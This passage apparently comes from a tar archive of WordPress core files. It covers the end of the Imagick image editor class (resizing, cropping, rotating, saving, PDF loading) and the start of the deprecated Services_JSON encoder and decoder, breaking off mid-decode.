&& $dst_h * $sample_factor > 128 ) ) { $this->image->sampleImage( $dst_w * $sample_factor, $dst_h * $sample_factor ); } } /* * Use resizeImage() when it's available and a valid filter value is set. * Otherwise, fall back to the scaleImage() method for resizing, which * results in better image quality over resizeImage() with default filter * settings and retains backward compatibility with pre 4.5 functionality. */ if ( is_callable( array( $this->image, 'resizeImage' ) ) && $filter ) { $this->image->setOption( 'filter:support', '2.0' ); $this->image->resizeImage( $dst_w, $dst_h, $filter, 1 ); } else { $this->image->scaleImage( $dst_w, $dst_h ); } // Set appropriate quality settings after resizing. if ( 'image/jpeg' === $this->mime_type ) { if ( is_callable( array( $this->image, 'unsharpMaskImage' ) ) ) { $this->image->unsharpMaskImage( 0.25, 0.25, 8, 0.065 ); } $this->image->setOption( 'jpeg:fancy-upsampling', 'off' ); } if ( 'image/png' === $this->mime_type ) { $this->image->setOption( 'png:compression-filter', '5' ); $this->image->setOption( 'png:compression-level', '9' ); $this->image->setOption( 'png:compression-strategy', '1' ); $this->image->setOption( 'png:exclude-chunk', 'all' ); } /* * If alpha channel is not defined, set it opaque. * * Note that Imagick::getImageAlphaChannel() is only available if Imagick * has been compiled against ImageMagick version 6.4.0 or newer. */ if ( is_callable( array( $this->image, 'getImageAlphaChannel' ) ) && is_callable( array( $this->image, 'setImageAlphaChannel' ) ) && defined( 'Imagick::ALPHACHANNEL_UNDEFINED' ) && defined( 'Imagick::ALPHACHANNEL_OPAQUE' ) ) { if ( $this->image->getImageAlphaChannel() === Imagick::ALPHACHANNEL_UNDEFINED ) { $this->image->setImageAlphaChannel( Imagick::ALPHACHANNEL_OPAQUE ); } } // Limit the bit depth of resized images to 8 bits per channel. if ( is_callable( array( $this->image, 'getImageDepth' ) ) && is_callable( array( $this->image, 'setImageDepth' ) ) ) { if ( 8 < $this->image->getImageDepth() ) { $this->image->setImageDepth( 8 ); } } if ( is_callable( array( $this->image, 'setInterlaceScheme' ) ) && defined( 'Imagick::INTERLACE_NO' ) ) { $this->image->setInterlaceScheme( Imagick::INTERLACE_NO ); } } catch ( Exception $e ) { return new WP_Error( 'image_resize_error', $e->getMessage() ); } } /** * Create multiple smaller images from a single source. * * Attempts to create all sub-sizes and returns the meta data at the end. This * may result in the server running out of resources. When it fails there may be few * "orphaned" images left over as the meta data is never returned and saved. * * As of 5.3.0 the preferred way to do this is with `make_subsize()`. It creates * the new images one at a time and allows for the meta data to be saved after * each new image is created. * * @since 3.5.0 * * @param array $sizes { * An array of image size data arrays. * * Either a height or width must be provided. * If one of the two is set to null, the resize will * maintain aspect ratio according to the provided dimension. * * @type array ...$0 { * Array of height, width values, and whether to crop. * * @type int $width Image width. Optional if `$height` is specified. * @type int $height Image height. Optional if `$width` is specified. * @type bool $crop Optional. Whether to crop the image. Default false. * } * } * @return array An array of resized images' metadata by size. */ public function multi_resize( $sizes ) { $metadata = array(); foreach ( $sizes as $size => $size_data ) { $meta = $this->make_subsize( $size_data ); if ( ! is_wp_error( $meta ) ) { $metadata[ $size ] = $meta; } } return $metadata; } /** * Create an image sub-size and return the image meta data value for it. * * @since 5.3.0 * * @param array $size_data { * Array of size data. * * @type int $width The maximum width in pixels. * @type int $height The maximum height in pixels. * @type bool $crop Whether to crop the image to exact dimensions. * } * @return array|WP_Error The image data array for inclusion in the `sizes` array in the image meta, * WP_Error object on error. */ public function make_subsize( $size_data ) { if ( ! isset( $size_data['width'] ) && ! isset( $size_data['height'] ) ) { return new WP_Error( 'image_subsize_create_error', __( 'Cannot resize the image. Both width and height are not set.' ) ); } $orig_size = $this->size; $orig_image = $this->image->getImage(); if ( ! isset( $size_data['width'] ) ) { $size_data['width'] = null; } if ( ! isset( $size_data['height'] ) ) { $size_data['height'] = null; } if ( ! isset( $size_data['crop'] ) ) { $size_data['crop'] = false; } $resized = $this->resize( $size_data['width'], $size_data['height'], $size_data['crop'] ); if ( is_wp_error( $resized ) ) { $saved = $resized; } else { $saved = $this->_save( $this->image ); $this->image->clear(); $this->image->destroy(); $this->image = null; } $this->size = $orig_size; $this->image = $orig_image; if ( ! is_wp_error( $saved ) ) { unset( $saved['path'] ); } return $saved; } /** * Crops Image. * * @since 3.5.0 * * @param int $src_x The start x position to crop from. * @param int $src_y The start y position to crop from. * @param int $src_w The width to crop. * @param int $src_h The height to crop. * @param int $dst_w Optional. The destination width. * @param int $dst_h Optional. The destination height. * @param bool $src_abs Optional. If the source crop points are absolute. * @return true|WP_Error */ public function crop( $src_x, $src_y, $src_w, $src_h, $dst_w = null, $dst_h = null, $src_abs = false ) { if ( $src_abs ) { $src_w -= $src_x; $src_h -= $src_y; } try { $this->image->cropImage( $src_w, $src_h, $src_x, $src_y ); $this->image->setImagePage( $src_w, $src_h, 0, 0 ); if ( $dst_w || $dst_h ) { // If destination width/height isn't specified, // use same as width/height from source. if ( ! $dst_w ) { $dst_w = $src_w; } if ( ! $dst_h ) { $dst_h = $src_h; } $thumb_result = $this->thumbnail_image( $dst_w, $dst_h ); if ( is_wp_error( $thumb_result ) ) { return $thumb_result; } return $this->update_size(); } } catch ( Exception $e ) { return new WP_Error( 'image_crop_error', $e->getMessage() ); } return $this->update_size(); } /** * Rotates current image counter-clockwise by $angle. * * @since 3.5.0 * * @param float $angle * @return true|WP_Error */ public function rotate( $angle ) { /** * $angle is 360-$angle because Imagick rotates clockwise * (GD rotates counter-clockwise) */ try { $this->image->rotateImage( new ImagickPixel( 'none' ), 360 - $angle ); // Normalize EXIF orientation data so that display is consistent across devices. if ( is_callable( array( $this->image, 'setImageOrientation' ) ) && defined( 'Imagick::ORIENTATION_TOPLEFT' ) ) { $this->image->setImageOrientation( Imagick::ORIENTATION_TOPLEFT ); } // Since this changes the dimensions of the image, update the size. $result = $this->update_size(); if ( is_wp_error( $result ) ) { return $result; } $this->image->setImagePage( $this->size['width'], $this->size['height'], 0, 0 ); } catch ( Exception $e ) { return new WP_Error( 'image_rotate_error', $e->getMessage() ); } return true; } /** * Flips current image. * * @since 3.5.0 * * @param bool $horz Flip along Horizontal Axis * @param bool $vert Flip along Vertical Axis * @return true|WP_Error */ public function flip( $horz, $vert ) { try { if ( $horz ) { $this->image->flipImage(); } if ( $vert ) { $this->image->flopImage(); } // Normalize EXIF orientation data so that display is consistent across devices. if ( is_callable( array( $this->image, 'setImageOrientation' ) ) && defined( 'Imagick::ORIENTATION_TOPLEFT' ) ) { $this->image->setImageOrientation( Imagick::ORIENTATION_TOPLEFT ); } } catch ( Exception $e ) { return new WP_Error( 'image_flip_error', $e->getMessage() ); } return true; } /** * Check if a JPEG image has EXIF Orientation tag and rotate it if needed. * * As ImageMagick copies the EXIF data to the flipped/rotated image, proceed only * if EXIF Orientation can be reset afterwards. * * @since 5.3.0 * * @return bool|WP_Error True if the image was rotated. False if no EXIF data or if the image doesn't need rotation. * WP_Error if error while rotating. */ public function maybe_exif_rotate() { if ( is_callable( array( $this->image, 'setImageOrientation' ) ) && defined( 'Imagick::ORIENTATION_TOPLEFT' ) ) { return parent::maybe_exif_rotate(); } else { return new WP_Error( 'write_exif_error', __( 'The image cannot be rotated because the embedded meta data cannot be updated.' ) ); } } /** * Saves current image to file. * * @since 3.5.0 * * @param string $destfilename Optional. Destination filename. Default null. * @param string $mime_type Optional. The mime-type. Default null. * @return array|WP_Error {'path'=>string, 'file'=>string, 'width'=>int, 'height'=>int, 'mime-type'=>string} */ public function save( $destfilename = null, $mime_type = null ) { $saved = $this->_save( $this->image, $destfilename, $mime_type ); if ( ! is_wp_error( $saved ) ) { $this->file = $saved['path']; $this->mime_type = $saved['mime-type']; try { $this->image->setImageFormat( strtoupper( $this->get_extension( $this->mime_type ) ) ); } catch ( Exception $e ) { return new WP_Error( 'image_save_error', $e->getMessage(), $this->file ); } } return $saved; } /** * @param Imagick $image * @param string $filename * @param string $mime_type * @return array|WP_Error */ protected function _save( $image, $filename = null, $mime_type = null ) { list( $filename, $extension, $mime_type ) = $this->get_output_format( $filename, $mime_type ); if ( ! $filename ) { $filename = $this->generate_filename( null, null, $extension ); } try { // Store initial format. $orig_format = $this->image->getImageFormat(); $this->image->setImageFormat( strtoupper( $this->get_extension( $mime_type ) ) ); } catch ( Exception $e ) { return new WP_Error( 'image_save_error', $e->getMessage(), $filename ); } $write_image_result = $this->write_image( $this->image, $filename ); if ( is_wp_error( $write_image_result ) ) { return $write_image_result; } try { // Reset original format. $this->image->setImageFormat( $orig_format ); } catch ( Exception $e ) { return new WP_Error( 'image_save_error', $e->getMessage(), $filename ); } // Set correct file permissions. $stat = stat( dirname( $filename ) ); $perms = $stat['mode'] & 0000666; // Same permissions as parent folder, strip off the executable bits. chmod( $filename, $perms ); return array( 'path' => $filename, /** This filter is documented in wp-includes/class-wp-image-editor-gd.php */ 'file' => wp_basename( apply_filters( 'image_make_intermediate_size', $filename ) ), 'width' => $this->size['width'], 'height' => $this->size['height'], 'mime-type' => $mime_type, 'filesize' => wp_filesize( $filename ), ); } /** * Writes an image to a file or stream. * * @since 5.6.0 * * @param Imagick $image * @param string $filename The destination filename or stream URL. * @return true|WP_Error */ private function write_image( $image, $filename ) { if ( wp_is_stream( $filename ) ) { /* * Due to reports of issues with streams with `Imagick::writeImageFile()` and `Imagick::writeImage()`, copies the blob instead. * Checks for exact type due to: https://www.php.net/manual/en/function.file-put-contents.php */ if ( file_put_contents( $filename, $image->getImageBlob() ) === false ) { return new WP_Error( 'image_save_error', sprintf( /* translators: %s: PHP function name. */ __( '%s failed while writing image to stream.' ), 'file_put_contents()' ), $filename ); } else { return true; } } else { $dirname = dirname( $filename ); if ( ! wp_mkdir_p( $dirname ) ) { return new WP_Error( 'image_save_error', sprintf( /* translators: %s: Directory path. */ __( 'Unable to create directory %s. Is its parent directory writable by the server?' ), esc_html( $dirname ) ) ); } try { return $image->writeImage( $filename ); } catch ( Exception $e ) { return new WP_Error( 'image_save_error', $e->getMessage(), $filename ); } } } /** * Streams current image to browser. * * @since 3.5.0 * * @param string $mime_type The mime type of the image. * @return true|WP_Error True on success, WP_Error object on failure. */ public function stream( $mime_type = null ) { list( $filename, $extension, $mime_type ) = $this->get_output_format( null, $mime_type ); try { // Temporarily change format for stream. $this->image->setImageFormat( strtoupper( $extension ) ); // Output stream of image content. header( "Content-Type: $mime_type" ); print $this->image->getImageBlob(); // Reset image to original format. $this->image->setImageFormat( $this->get_extension( $this->mime_type ) ); } catch ( Exception $e ) { return new WP_Error( 'image_stream_error', $e->getMessage() ); } return true; } /** * Strips all image meta except color profiles from an image. * * @since 4.5.0 * * @return true|WP_Error True if stripping metadata was successful. WP_Error object on error. */ protected function strip_meta() { if ( ! is_callable( array( $this->image, 'getImageProfiles' ) ) ) { return new WP_Error( 'image_strip_meta_error', sprintf( /* translators: %s: ImageMagick method name. */ __( '%s is required to strip image meta.' ), 'Imagick::getImageProfiles()' ) ); } if ( ! is_callable( array( $this->image, 'removeImageProfile' ) ) ) { return new WP_Error( 'image_strip_meta_error', sprintf( /* translators: %s: ImageMagick method name. */ __( '%s is required to strip image meta.' ), 'Imagick::removeImageProfile()' ) ); } /* * Protect a few profiles from being stripped for the following reasons: * * - icc: Color profile information * - icm: Color profile information * - iptc: Copyright data * - exif: Orientation data * - xmp: Rights usage data */ $protected_profiles = array( 'icc', 'icm', 'iptc', 'exif', 'xmp', ); try { // Strip profiles. foreach ( $this->image->getImageProfiles( '*', true ) as $key => $value ) { if ( ! in_array( $key, $protected_profiles, true ) ) { $this->image->removeImageProfile( $key ); } } } catch ( Exception $e ) { return new WP_Error( 'image_strip_meta_error', $e->getMessage() ); } return true; } /** * Sets up Imagick for PDF processing. * Increases rendering DPI and only loads first page. * * @since 4.7.0 * * @return string|WP_Error File to load or WP_Error on failure. */ protected function pdf_setup() { try { // By default, PDFs are rendered in a very low resolution. // We want the thumbnail to be readable, so increase the rendering DPI. $this->image->setResolution( 128, 128 ); // Only load the first page. return $this->file . '[0]'; } catch ( Exception $e ) { return new WP_Error( 'pdf_setup_failed', $e->getMessage(), $this->file ); } } /** * Load the image produced by Ghostscript. * * Includes a workaround for a bug in Ghostscript 8.70 that prevents processing of some PDF files * when `use-cropbox` is set. * * @since 5.6.0 * * @return true|WP_Error */ protected function pdf_load_source() { $filename = $this->pdf_setup(); if ( is_wp_error( $filename ) ) { return $filename; } try { // When generating thumbnails from cropped PDF pages, Imagemagick uses the uncropped // area (resulting in unnecessary whitespace) unless the following option is set. $this->image->setOption( 'pdf:use-cropbox', true ); // Reading image after Imagick instantiation because `setResolution` // only applies correctly before the image is read. $this->image->readImage( $filename ); } catch ( Exception $e ) { // Attempt to run `gs` without the `use-cropbox` option. See #48853. $this->image->setOption( 'pdf:use-cropbox', false ); $this->image->readImage( $filename ); } return true; } } class-json.php000064400000124661147177035010007350 0ustar00 * @author Matt Knapp * @author Brett Stimmerman * @copyright 2005 Michal Migurski * @version CVS: $Id: JSON.php 305040 2010-11-02 23:19:03Z alan_k $ * @license http://www.opensource.org/licenses/bsd-license.php * @link http://pear.php.net/pepr/pepr-proposal-show.php?id=198 */ /** * Marker constant for Services_JSON::decode(), used to flag stack state */ define('SERVICES_JSON_SLICE', 1); /** * Marker constant for Services_JSON::decode(), used to flag stack state */ define('SERVICES_JSON_IN_STR', 2); /** * Marker constant for Services_JSON::decode(), used to flag stack state */ define('SERVICES_JSON_IN_ARR', 3); /** * Marker constant for Services_JSON::decode(), used to flag stack state */ define('SERVICES_JSON_IN_OBJ', 4); /** * Marker constant for Services_JSON::decode(), used to flag stack state */ define('SERVICES_JSON_IN_CMT', 5); /** * Behavior switch for Services_JSON::decode() */ define('SERVICES_JSON_LOOSE_TYPE', 16); /** * Behavior switch for Services_JSON::decode() */ define('SERVICES_JSON_SUPPRESS_ERRORS', 32); /** * Behavior switch for Services_JSON::decode() */ define('SERVICES_JSON_USE_TO_JSON', 64); /** * Converts to and from JSON format. * * Brief example of use: * * * // create a new instance of Services_JSON * $json = new Services_JSON(); * * // convert a complex value to JSON notation, and send it to the browser * $value = array('foo', 'bar', array(1, 2, 'baz'), array(3, array(4))); * $output = $json->encode($value); * * print($output); * // prints: ["foo","bar",[1,2,"baz"],[3,[4]]] * * // accept incoming POST data, assumed to be in JSON notation * $input = file_get_contents('php://input', 1000000); * $value = $json->decode($input); * */ class Services_JSON { /** * constructs a new JSON instance * * @deprecated 5.3.0 Use the PHP native JSON extension instead. * * @param int $use object behavior flags; combine with boolean-OR * * possible values: * - SERVICES_JSON_LOOSE_TYPE: loose typing. * "{...}" syntax creates associative arrays * instead of objects in decode(). * - SERVICES_JSON_SUPPRESS_ERRORS: error suppression. * Values which can't be encoded (e.g. resources) * appear as NULL instead of throwing errors. * By default, a deeply-nested resource will * bubble up with an error, so all return values * from encode() should be checked with isError() * - SERVICES_JSON_USE_TO_JSON: call toJSON when serializing objects * It serializes the return value from the toJSON call rather * than the object itself, toJSON can return associative arrays, * strings or numbers, if you return an object, make sure it does * not have a toJSON method, otherwise an error will occur. */ function __construct( $use = 0 ) { _deprecated_function( __METHOD__, '5.3.0', 'The PHP native JSON extension' ); $this->use = $use; $this->_mb_strlen = function_exists('mb_strlen'); $this->_mb_convert_encoding = function_exists('mb_convert_encoding'); $this->_mb_substr = function_exists('mb_substr'); } /** * PHP4 constructor. * * @deprecated 5.3.0 Use __construct() instead. * * @see Services_JSON::__construct() */ public function Services_JSON( $use = 0 ) { _deprecated_constructor( 'Services_JSON', '5.3.0', get_class( $this ) ); self::__construct( $use ); } // private - cache the mbstring lookup results.. var $_mb_strlen = false; var $_mb_substr = false; var $_mb_convert_encoding = false; /** * convert a string from one UTF-16 char to one UTF-8 char * * Normally should be handled by mb_convert_encoding, but * provides a slower PHP-only method for installations * that lack the multibye string extension. * * @deprecated 5.3.0 Use the PHP native JSON extension instead. * * @param string $utf16 UTF-16 character * @return string UTF-8 character * @access private */ function utf162utf8($utf16) { _deprecated_function( __METHOD__, '5.3.0', 'The PHP native JSON extension' ); // oh please oh please oh please oh please oh please if($this->_mb_convert_encoding) { return mb_convert_encoding($utf16, 'UTF-8', 'UTF-16'); } $bytes = (ord($utf16[0]) << 8) | ord($utf16[1]); switch(true) { case ((0x7F & $bytes) == $bytes): // this case should never be reached, because we are in ASCII range // see: http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8 return chr(0x7F & $bytes); case (0x07FF & $bytes) == $bytes: // return a 2-byte UTF-8 character // see: http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8 return chr(0xC0 | (($bytes >> 6) & 0x1F)) . chr(0x80 | ($bytes & 0x3F)); case (0xFFFF & $bytes) == $bytes: // return a 3-byte UTF-8 character // see: http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8 return chr(0xE0 | (($bytes >> 12) & 0x0F)) . chr(0x80 | (($bytes >> 6) & 0x3F)) . chr(0x80 | ($bytes & 0x3F)); } // ignoring UTF-32 for now, sorry return ''; } /** * convert a string from one UTF-8 char to one UTF-16 char * * Normally should be handled by mb_convert_encoding, but * provides a slower PHP-only method for installations * that lack the multibyte string extension. * * @deprecated 5.3.0 Use the PHP native JSON extension instead. * * @param string $utf8 UTF-8 character * @return string UTF-16 character * @access private */ function utf82utf16($utf8) { _deprecated_function( __METHOD__, '5.3.0', 'The PHP native JSON extension' ); // oh please oh please oh please oh please oh please if($this->_mb_convert_encoding) { return mb_convert_encoding($utf8, 'UTF-16', 'UTF-8'); } switch($this->strlen8($utf8)) { case 1: // this case should never be reached, because we are in ASCII range // see: http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8 return $utf8; case 2: // return a UTF-16 character from a 2-byte UTF-8 char // see: http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8 return chr(0x07 & (ord($utf8[0]) >> 2)) . chr((0xC0 & (ord($utf8[0]) << 6)) | (0x3F & ord($utf8[1]))); case 3: // return a UTF-16 character from a 3-byte UTF-8 char // see: http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8 return chr((0xF0 & (ord($utf8[0]) << 4)) | (0x0F & (ord($utf8[1]) >> 2))) . chr((0xC0 & (ord($utf8[1]) << 6)) | (0x7F & ord($utf8[2]))); } // ignoring UTF-32 for now, sorry return ''; } /** * encodes an arbitrary variable into JSON format (and sends JSON Header) * * @deprecated 5.3.0 Use the PHP native JSON extension instead. * * @param mixed $var any number, boolean, string, array, or object to be encoded. * see argument 1 to Services_JSON() above for array-parsing behavior. * if var is a string, note that encode() always expects it * to be in ASCII or UTF-8 format! * * @return mixed JSON string representation of input var or an error if a problem occurs * @access public */ function encode($var) { _deprecated_function( __METHOD__, '5.3.0', 'The PHP native JSON extension' ); header('Content-type: application/json'); return $this->encodeUnsafe($var); } /** * encodes an arbitrary variable into JSON format without JSON Header - warning - may allow XSS!!!!) * * @deprecated 5.3.0 Use the PHP native JSON extension instead. * * @param mixed $var any number, boolean, string, array, or object to be encoded. * see argument 1 to Services_JSON() above for array-parsing behavior. * if var is a string, note that encode() always expects it * to be in ASCII or UTF-8 format! * * @return mixed JSON string representation of input var or an error if a problem occurs * @access public */ function encodeUnsafe($var) { _deprecated_function( __METHOD__, '5.3.0', 'The PHP native JSON extension' ); // see bug #16908 - regarding numeric locale printing $lc = setlocale(LC_NUMERIC, 0); setlocale(LC_NUMERIC, 'C'); $ret = $this->_encode($var); setlocale(LC_NUMERIC, $lc); return $ret; } /** * PRIVATE CODE that does the work of encodes an arbitrary variable into JSON format * * @deprecated 5.3.0 Use the PHP native JSON extension instead. * * @param mixed $var any number, boolean, string, array, or object to be encoded. * see argument 1 to Services_JSON() above for array-parsing behavior. * if var is a string, note that encode() always expects it * to be in ASCII or UTF-8 format! * * @return mixed JSON string representation of input var or an error if a problem occurs * @access public */ function _encode($var) { _deprecated_function( __METHOD__, '5.3.0', 'The PHP native JSON extension' ); switch (gettype($var)) { case 'boolean': return $var ? 'true' : 'false'; case 'NULL': return 'null'; case 'integer': return (int) $var; case 'double': case 'float': return (float) $var; case 'string': // STRINGS ARE EXPECTED TO BE IN ASCII OR UTF-8 FORMAT $ascii = ''; $strlen_var = $this->strlen8($var); /* * Iterate over every character in the string, * escaping with a slash or encoding to UTF-8 where necessary */ for ($c = 0; $c < $strlen_var; ++$c) { $ord_var_c = ord($var[$c]); switch (true) { case $ord_var_c == 0x08: $ascii .= '\b'; break; case $ord_var_c == 0x09: $ascii .= '\t'; break; case $ord_var_c == 0x0A: $ascii .= '\n'; break; case $ord_var_c == 0x0C: $ascii .= '\f'; break; case $ord_var_c == 0x0D: $ascii .= '\r'; break; case $ord_var_c == 0x22: case $ord_var_c == 0x2F: case $ord_var_c == 0x5C: // double quote, slash, slosh $ascii .= '\\'.$var[$c]; break; case (($ord_var_c >= 0x20) && ($ord_var_c <= 0x7F)): // characters U-00000000 - U-0000007F (same as ASCII) $ascii .= $var[$c]; break; case (($ord_var_c & 0xE0) == 0xC0): // characters U-00000080 - U-000007FF, mask 110XXXXX // see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8 if ($c+1 >= $strlen_var) { $c += 1; $ascii .= '?'; break; } $char = pack('C*', $ord_var_c, ord($var[$c + 1])); $c += 1; $utf16 = $this->utf82utf16($char); $ascii .= sprintf('\u%04s', bin2hex($utf16)); break; case (($ord_var_c & 0xF0) == 0xE0): if ($c+2 >= $strlen_var) { $c += 2; $ascii .= '?'; break; } // characters U-00000800 - U-0000FFFF, mask 1110XXXX // see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8 $char = pack('C*', $ord_var_c, @ord($var[$c + 1]), @ord($var[$c + 2])); $c += 2; $utf16 = $this->utf82utf16($char); $ascii .= sprintf('\u%04s', bin2hex($utf16)); break; case (($ord_var_c & 0xF8) == 0xF0): if ($c+3 >= $strlen_var) { $c += 3; $ascii .= '?'; break; } // characters U-00010000 - U-001FFFFF, mask 11110XXX // see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8 $char = pack('C*', $ord_var_c, ord($var[$c + 1]), ord($var[$c + 2]), ord($var[$c + 3])); $c += 3; $utf16 = $this->utf82utf16($char); $ascii .= sprintf('\u%04s', bin2hex($utf16)); break; case (($ord_var_c & 0xFC) == 0xF8): // characters U-00200000 - U-03FFFFFF, mask 111110XX // see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8 if ($c+4 >= $strlen_var) { $c += 4; $ascii .= '?'; break; } $char = pack('C*', $ord_var_c, ord($var[$c + 1]), ord($var[$c + 2]), ord($var[$c + 3]), ord($var[$c + 4])); $c += 4; $utf16 = $this->utf82utf16($char); $ascii .= sprintf('\u%04s', bin2hex($utf16)); break; case (($ord_var_c & 0xFE) == 0xFC): if ($c+5 >= $strlen_var) { $c += 5; $ascii .= '?'; break; } // characters U-04000000 - U-7FFFFFFF, mask 1111110X // see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8 $char = pack('C*', $ord_var_c, ord($var[$c + 1]), ord($var[$c + 2]), ord($var[$c + 3]), ord($var[$c + 4]), ord($var[$c + 5])); $c += 5; $utf16 = $this->utf82utf16($char); $ascii .= sprintf('\u%04s', bin2hex($utf16)); break; } } return '"'.$ascii.'"'; case 'array': /* * As per JSON spec if any array key is not an integer * we must treat the whole array as an object. We * also try to catch a sparsely populated associative * array with numeric keys here because some JS engines * will create an array with empty indexes up to * max_index which can cause memory issues and because * the keys, which may be relevant, will be remapped * otherwise. * * As per the ECMA and JSON specification an object may * have any string as a property. Unfortunately due to * a hole in the ECMA specification if the key is a * ECMA reserved word or starts with a digit the * parameter is only accessible using ECMAScript's * bracket notation. */ // treat as a JSON object if (is_array($var) && count($var) && (array_keys($var) !== range(0, sizeof($var) - 1))) { $properties = array_map(array($this, 'name_value'), array_keys($var), array_values($var)); foreach($properties as $property) { if(Services_JSON::isError($property)) { return $property; } } return '{' . join(',', $properties) . '}'; } // treat it like a regular array $elements = array_map(array($this, '_encode'), $var); foreach($elements as $element) { if(Services_JSON::isError($element)) { return $element; } } return '[' . join(',', $elements) . ']'; case 'object': // support toJSON methods. if (($this->use & SERVICES_JSON_USE_TO_JSON) && method_exists($var, 'toJSON')) { // this may end up allowing unlimited recursion // so we check the return value to make sure it's not got the same method. $recode = $var->toJSON(); if (method_exists($recode, 'toJSON')) { return ($this->use & SERVICES_JSON_SUPPRESS_ERRORS) ? 'null' : new Services_JSON_Error(get_class($var). " toJSON returned an object with a toJSON method."); } return $this->_encode( $recode ); } $vars = get_object_vars($var); $properties = array_map(array($this, 'name_value'), array_keys($vars), array_values($vars)); foreach($properties as $property) { if(Services_JSON::isError($property)) { return $property; } } return '{' . join(',', $properties) . '}'; default: return ($this->use & SERVICES_JSON_SUPPRESS_ERRORS) ? 'null' : new Services_JSON_Error(gettype($var)." can not be encoded as JSON string"); } } /** * array-walking function for use in generating JSON-formatted name-value pairs * * @deprecated 5.3.0 Use the PHP native JSON extension instead. * * @param string $name name of key to use * @param mixed $value reference to an array element to be encoded * * @return string JSON-formatted name-value pair, like '"name":value' * @access private */ function name_value($name, $value) { _deprecated_function( __METHOD__, '5.3.0', 'The PHP native JSON extension' ); $encoded_value = $this->_encode($value); if(Services_JSON::isError($encoded_value)) { return $encoded_value; } return $this->_encode((string) $name) . ':' . $encoded_value; } /** * reduce a string by removing leading and trailing comments and whitespace * * @deprecated 5.3.0 Use the PHP native JSON extension instead. * * @param $str string string value to strip of comments and whitespace * * @return string string value stripped of comments and whitespace * @access private */ function reduce_string($str) { _deprecated_function( __METHOD__, '5.3.0', 'The PHP native JSON extension' ); $str = preg_replace(array( // eliminate single line comments in '// ...' form '#^\s*//(.+)$#m', // eliminate multi-line comments in '/* ... */' form, at start of string '#^\s*/\*(.+)\*/#Us', // eliminate multi-line comments in '/* ... */' form, at end of string '#/\*(.+)\*/\s*$#Us' ), '', $str); // eliminate extraneous space return trim($str); } /** * decodes a JSON string into appropriate variable * * @deprecated 5.3.0 Use the PHP native JSON extension instead. * * @param string $str JSON-formatted string * * @return mixed number, boolean, string, array, or object * corresponding to given JSON input string. * See argument 1 to Services_JSON() above for object-output behavior. * Note that decode() always returns strings * in ASCII or UTF-8 format! * @access public */ function decode($str) { _deprecated_function( __METHOD__, '5.3.0', 'The PHP native JSON extension' ); $str = $this->reduce_string($str); switch (strtolower($str)) { case 'true': return true; case 'false': return false; case 'null': return null; default: $m = array(); if (is_numeric($str)) { // Lookie-loo, it's a number // This would work on its own, but I'm trying to be // good about returning integers where appropriate: // return (float)$str; // Return float or int, as appropriate return ((float)$str == (integer)$str) ? (integer)$str : (float)$str; } elseif (preg_match('/^("|\').*(\1)$/s', $str, $m) && $m[1] == $m[2]) { // STRINGS RETURNED IN UTF-8 FORMAT $delim = $this->substr8($str, 0, 1); $chrs = $this->substr8($str, 1, -1); $utf8 = ''; $strlen_chrs = $this->strlen8($chrs); for ($c = 0; $c < $strlen_chrs; ++$c) { $substr_chrs_c_2 = $this->substr8($chrs, $c, 2); $ord_chrs_c = ord($chrs[$c]); switch (true) { case $substr_chrs_c_2 == '\b': $utf8 .= chr(0x08); ++$c; break; case $substr_chrs_c_2 == '\t': $utf8 .= chr(0x09); ++$c; break; case $substr_chrs_c_2 == '\n': $utf8 .= chr(0x0A); ++$c; break; case $substr_chrs_c_2 == '\f': $utf8 .= chr(0x0C); ++$c; break; case $substr_chrs_c_2 == '\r': $utf8 .= chr(0x0D); ++$c; break; case $substr_chrs_c_2 == '\\"': case $substr_chrs_c_2 == '\\\'': case $substr_chrs_c_2 == '\\\\': case $substr_chrs_c_2 == '\\/': if (($delim == '"' && $substr_chrs_c_2 != '\\\'') || ($delim == "'" && $substr_chrs_c_2 != '\\"')) { $utf8 .= $chrs[++$c]; } break; case preg_match('/\\\u[0-9A-F]{4}/i', $this->substr8($chrs, $c, 6)): // single, escaped unicode character $utf16 = chr(hexdec($this->substr8($chrs, ($c + 2), 2))) . chr(hexdec($this->substr8($chrs, ($c + 4), 2))); $utf8 .= $this->utf162utf8($utf16); $c += 5; break; case ($ord_chrs_c >= 0x20) && ($ord_chrs_c <= 0x7F): $utf8 .= $chrs[$c]; break; case ($ord_chrs_c & 0xE0) == 0xC0: // characters U-00000080 - U-000007FF, mask 110XXXXX //see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8 $utf8 .= $this->substr8($chrs, $c, 2); ++$c; break; case ($ord_chrs_c & 0xF0) == 0xE0: // characters U-00000800 - U-0000FFFF, mask 1110XXXX // see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8 $utf8 .= $this->substr8($chrs, $c, 3); $c += 2; break; case ($ord_chrs_c & 0xF8) == 0xF0: // characters U-00010000 - U-001FFFFF, mask 11110XXX // see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8 $utf8 .= $this->substr8($chrs, $c, 4); $c += 3; break; case ($ord_chrs_c & 0xFC) == 0xF8: // characters U-00200000 - U-03FFFFFF, mask 111110XX // see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8 $utf8 .= $this->substr8($chrs, $c, 5); $c += 4; break; case ($ord_chrs_c & 0xFE) == 0xFC: // characters U-04000000 - U-7FFFFFFF, mask 1111110X // see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8 $utf8 .= $this->substr8($chrs, $c, 6); $c += 5; break; } } return $utf8; } elseif (preg_match('/^\[.*\]$/s', $str) || preg_match('/^\{.*\}$/s', $str)) { // array, or object notation if ($str[0] == '[') { $stk = array(SERVICES_JSON_IN_ARR); $arr = array(); } else { if ($this->use & SERVICES_JSON_LOOSE_TYPE) { $stk = array(SERVICES_JSON_IN_OBJ); $obj = array(); } else { $stk = array(SERVICES_JSON_IN_OBJ); $obj = new stdClass(); } } array_push($stk, array('what' => SERVICES_JSON_SLICE, 'where' => 0, 'delim' => false)); $chrs = $this->substr8($str, 1, -1); $chrs = 